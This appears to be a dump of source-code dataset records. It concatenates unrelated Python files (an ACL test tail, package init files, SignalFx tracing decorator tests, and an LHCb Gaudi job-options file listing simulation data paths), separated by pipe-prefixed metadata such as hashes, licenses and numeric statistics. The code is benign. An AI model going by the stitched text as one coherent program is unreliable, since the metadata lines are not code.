self.assertEqual(acl[7][0], 'Allow')
self.assertEqual(acl[7][1], 'system.Everyone')
self.assertEqual(sorted(acl[7][2]), ['login'])
self.assertEqual(acl[8][0], 'Deny')
self.assertEqual(acl[8][1], 'system.Everyone')
self.assertEqual(acl[8][2], ALL_PERMISSIONS)
| 39.461538
| 77
| 0.592008
| 590
| 5,130
| 5.064407
| 0.118644
| 0.281125
| 0.228916
| 0.11245
| 0.832329
| 0.807229
| 0.807229
| 0.807229
| 0.807229
| 0.807229
| 0
| 0.026919
| 0.217934
| 5,130
| 129
| 78
| 39.767442
| 0.717846
| 0
| 0
| 0.834951
| 0
| 0
| 0.187914
| 0
| 0
| 0
| 0
| 0
| 0.592233
| 1
| 0.019417
| false
| 0
| 0.067961
| 0
| 0.106796
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
2983c51b40cd3c66da2ddb5aa443e9c38dcf5ef3
| 450
|
py
|
Python
|
poptimizer/evolve/chromosomes/__init__.py
|
poliyev/poptimizer
|
71935c4365b0572e65b6d3172f925701dda283db
|
[
"Unlicense"
] | null | null | null |
poptimizer/evolve/chromosomes/__init__.py
|
poliyev/poptimizer
|
71935c4365b0572e65b6d3172f925701dda283db
|
[
"Unlicense"
] | null | null | null |
poptimizer/evolve/chromosomes/__init__.py
|
poliyev/poptimizer
|
71935c4365b0572e65b6d3172f925701dda283db
|
[
"Unlicense"
] | 1
|
2021-12-02T13:32:44.000Z
|
2021-12-02T13:32:44.000Z
|
"""Хромосомы и гены для мутации параметров модели, данных и политики обучения."""
from poptimizer.evolve.chromosomes.chromosome import Chromosome, ChromosomeData
from poptimizer.evolve.chromosomes.data import Data
from poptimizer.evolve.chromosomes.model import Model
from poptimizer.evolve.chromosomes.optimizer import Optimizer
from poptimizer.evolve.chromosomes.scheduler import Scheduler
from poptimizer.evolve.chromosomes.utility import Utility
| 56.25
| 81
| 0.86
| 54
| 450
| 7.166667
| 0.407407
| 0.217054
| 0.310078
| 0.48062
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08
| 450
| 7
| 82
| 64.285714
| 0.934783
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d3b6f940a2b70b1420386a4bec52faf05745f743
| 7,500
|
py
|
Python
|
tests/unit/test_decorator.py
|
PaulStaggs/signalfx-python-tracing
|
0f704f86d25824cb9fac306f5b2132fe913aaf87
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/test_decorator.py
|
PaulStaggs/signalfx-python-tracing
|
0f704f86d25824cb9fac306f5b2132fe913aaf87
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/test_decorator.py
|
PaulStaggs/signalfx-python-tracing
|
0f704f86d25824cb9fac306f5b2132fe913aaf87
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (C) 2018 SignalFx. All rights reserved.
import pytest
from opentracing.mocktracer import MockTracer
import opentracing
from signalfx_tracing.utils import trace
from signalfx_tracing import tags as ext_tags
from .conftest import SpanTest
class DecoratorTest(SpanTest):
@pytest.fixture(autouse=True)
def _setup_tracer(self):
self.tracer = MockTracer()
opentracing.tracer = self.tracer
class TestFunctionDecorator(DecoratorTest):
def test_unused_decorator(self):
@trace
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
return 123
assert self.tracer.finished_spans() == []
assert traced_function.__name__ == 'traced_function'
def test_basic_decorator(self):
@trace
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
return 123
assert traced_function(1, one=1) == 123
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'traced_function'
assert spans[0].tags == dict()
assert traced_function.__name__ == 'traced_function'
def test_named_decorator(self):
@trace('operation_name')
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
return 123
assert traced_function(1, one=1) == 123
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
assert spans[0].tags == dict()
assert traced_function.__name__ == 'traced_function'
def test_tagged_decorator(self):
@trace(tags=dict(one=1, two='2'))
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
return 123
assert traced_function(1, one=1) == 123
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'traced_function'
assert spans[0].tags == dict(one=1, two='2')
assert traced_function.__name__ == 'traced_function'
def test_named_and_tagged_decorator(self):
@trace('operation_name', tags=dict(one=1, two='2'))
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
return 123
assert traced_function(1, one=1) == 123
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
assert spans[0].tags == dict(one=1, two='2')
assert traced_function.__name__ == 'traced_function'
def test_positional_named_and_tagged_decorator(self):
@trace('operation_name', dict(one=1, two='2'))
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
return 123
assert traced_function(1, one=1) == 123
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
assert spans[0].tags == dict(one=1, two='2')
assert traced_function.__name__ == 'traced_function'
def test_errored_function(self):
class CustomException(Exception):
pass
error = CustomException('SomeException')
@trace
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
raise error
with pytest.raises(CustomException):
traced_function(1, one=1)
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'traced_function'
self.assert_span_with_exception(spans[0], error)
assert traced_function.__name__ == 'traced_function'
def test_named_and_tagged_errored_function(self):
class CustomException(Exception):
pass
error = CustomException('SomeException')
@trace('operation_name', tags=dict(one=1, two='2'))
def traced_function(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
raise error
with pytest.raises(CustomException):
traced_function(1, one=1)
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
self.assert_span_contains_tags(spans[0], {
'one': 1,
'two': '2',
})
self.assert_span_with_exception(spans[0], error)
class TestMethodDecorator(DecoratorTest):
def test_named_and_tagged_errored_method(self):
class CustomException(Exception):
pass
error = CustomException('SomeException')
class Thing(object):
@trace('operation_name', tags=dict(one=1, two='2'))
def traced_method(self, *args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
raise error
with pytest.raises(CustomException):
Thing().traced_method(1, one=1)
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
self.assert_span_contains_tags(spans[0], {
'one': 1,
'two': '2',
})
self.assert_span_with_exception(spans[0], error)
assert Thing().traced_method.__name__ == 'traced_method'
def test_named_and_tagged_errored_classmethod(self):
class CustomException(Exception):
pass
error = CustomException('AnotherException')
class Thing(object):
@classmethod
@trace('operation_name', tags=dict(one=1, two='2'))
def traced_method(cls, *args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
raise error
with pytest.raises(CustomException):
Thing().traced_method(1, one=1)
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
self.assert_span_contains_tags(
spans[0],
{'one': 1, 'two': '2', ext_tags.ERROR: True}
)
self.assert_span_with_exception(spans[0], error)
assert Thing().traced_method.__name__ == 'traced_method'
def test_named_and_tagged_errored_staticmethod(self):
class CustomException(Exception):
pass
error = CustomException('YetAnotherException')
class Thing(object):
@staticmethod
@trace('operation_name', tags=dict(one=1, two='2'))
def traced_method(*args, **kwargs):
assert args == (1,)
assert kwargs == dict(one=1)
raise error
with pytest.raises(CustomException):
Thing.traced_method(1, one=1)
spans = self.tracer.finished_spans()
assert len(spans) == 1
assert spans[0].operation_name == 'operation_name'
self.assert_span_contains_tags(spans[0], {'one': 1, 'two': '2'})
self.assert_span_with_exception(spans[0], error)
assert Thing().traced_method.__name__ == 'traced_method'
| 31.779661
| 72
| 0.5976
| 845
| 7,500
| 5.078107
| 0.089941
| 0.032626
| 0.039152
| 0.026101
| 0.858075
| 0.845491
| 0.838965
| 0.812398
| 0.772081
| 0.76206
| 0
| 0.026375
| 0.2872
| 7,500
| 235
| 73
| 31.914894
| 0.776281
| 0.006533
| 0
| 0.769663
| 0
| 0
| 0.06672
| 0
| 0
| 0
| 0
| 0
| 0.404494
| 1
| 0.129213
| false
| 0.02809
| 0.033708
| 0
| 0.258427
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d3b9f2c022140490002b3fe990a615529b4c4b64
| 224
|
py
|
Python
|
air_quality_cli/commands/__init__.py
|
sugat009/air-quality-cli
|
d5c2bf113eae524989fa56f99bab280658d4278a
|
[
"MIT"
] | null | null | null |
air_quality_cli/commands/__init__.py
|
sugat009/air-quality-cli
|
d5c2bf113eae524989fa56f99bab280658d4278a
|
[
"MIT"
] | null | null | null |
air_quality_cli/commands/__init__.py
|
sugat009/air-quality-cli
|
d5c2bf113eae524989fa56f99bab280658d4278a
|
[
"MIT"
] | null | null | null |
"""
Exports for CLI commands.
"""
from air_quality_cli.commands.add import add
from air_quality_cli.commands.init import init
from air_quality_cli.commands.show import show
from air_quality_cli.commands.search import search
| 28
| 50
| 0.834821
| 36
| 224
| 4.972222
| 0.333333
| 0.307263
| 0.312849
| 0.379888
| 0.558659
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098214
| 224
| 7
| 51
| 32
| 0.886139
| 0.111607
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d3e3b4b0deea5b6a4aa41fbf088b6fd52d3f75f9
| 13,746
|
py
|
Python
|
ksteta3pi/newpot/MC_12_15104401_MagDown.py
|
Williams224/davinci-scripts
|
730642d2ff13543eca4073a4ce0932631195de56
|
[
"MIT"
] | null | null | null |
ksteta3pi/newpot/MC_12_15104401_MagDown.py
|
Williams224/davinci-scripts
|
730642d2ff13543eca4073a4ce0932631195de56
|
[
"MIT"
] | null | null | null |
ksteta3pi/newpot/MC_12_15104401_MagDown.py
|
Williams224/davinci-scripts
|
730642d2ff13543eca4073a4ce0932631195de56
|
[
"MIT"
] | null | null | null |
#-- GAUDI jobOptions generated on Mon Jul 27 18:42:05 2015
#-- Contains event types :
#-- 15104401 - 158 files - 3073293 events - 932.07 GBytes
#-- Extra information about the data processing phases:
from Gaudi.Configuration import *
from GaudiConf import IOHelper
IOHelper('ROOT').inputFiles(['LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000001_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000002_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000003_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000004_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000005_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000006_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000007_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000008_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000009_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000010_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000011_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000012_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000013_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000014_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000015_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000016_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000017_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000018_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000019_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000020_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000021_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000022_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000023_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000024_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000025_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000026_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000027_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000028_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000029_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000030_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000031_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000032_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000033_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000034_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000035_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000036_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000037_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000038_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000039_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000040_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000041_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000042_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000043_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000044_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000045_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000046_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000047_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000048_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000049_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000050_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000051_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000052_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000053_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000055_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000056_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000057_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000058_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000059_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000060_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000062_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000063_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000064_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000065_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000066_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000067_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000068_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000069_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000070_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000071_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000072_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000073_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000074_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000075_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000077_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000078_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000079_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000080_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000081_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000082_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000083_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000084_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000085_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000086_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000087_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000088_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000089_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000091_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000092_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000093_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000094_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000095_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000096_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000097_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000098_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000100_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000101_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000102_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000104_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000105_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000106_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000107_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000109_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000110_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000111_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000112_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000113_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000114_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000115_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000116_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000117_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000118_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000119_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000120_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000121_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000122_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000123_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000124_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000125_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000126_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000127_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000128_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000129_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000130_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000131_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000132_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000133_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000134_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000135_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000136_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000137_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000138_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000139_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000140_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000141_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000142_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000143_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000144_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000145_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000146_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000147_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000148_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000149_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000150_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000151_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000152_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000153_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000154_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000155_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000156_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000157_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000158_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000159_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000160_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000161_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000162_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000163_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000164_2.AllStreams.dst',
'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00038909/0000/00038909_00000165_2.AllStreams.dst'
], clear=True)
| 81.337278
| 113
| 0.821475
| 2,096
| 13,746
| 5.236641
| 0.097805
| 0.374271
| 0.129555
| 0.187136
| 0.862427
| 0.862427
| 0.862427
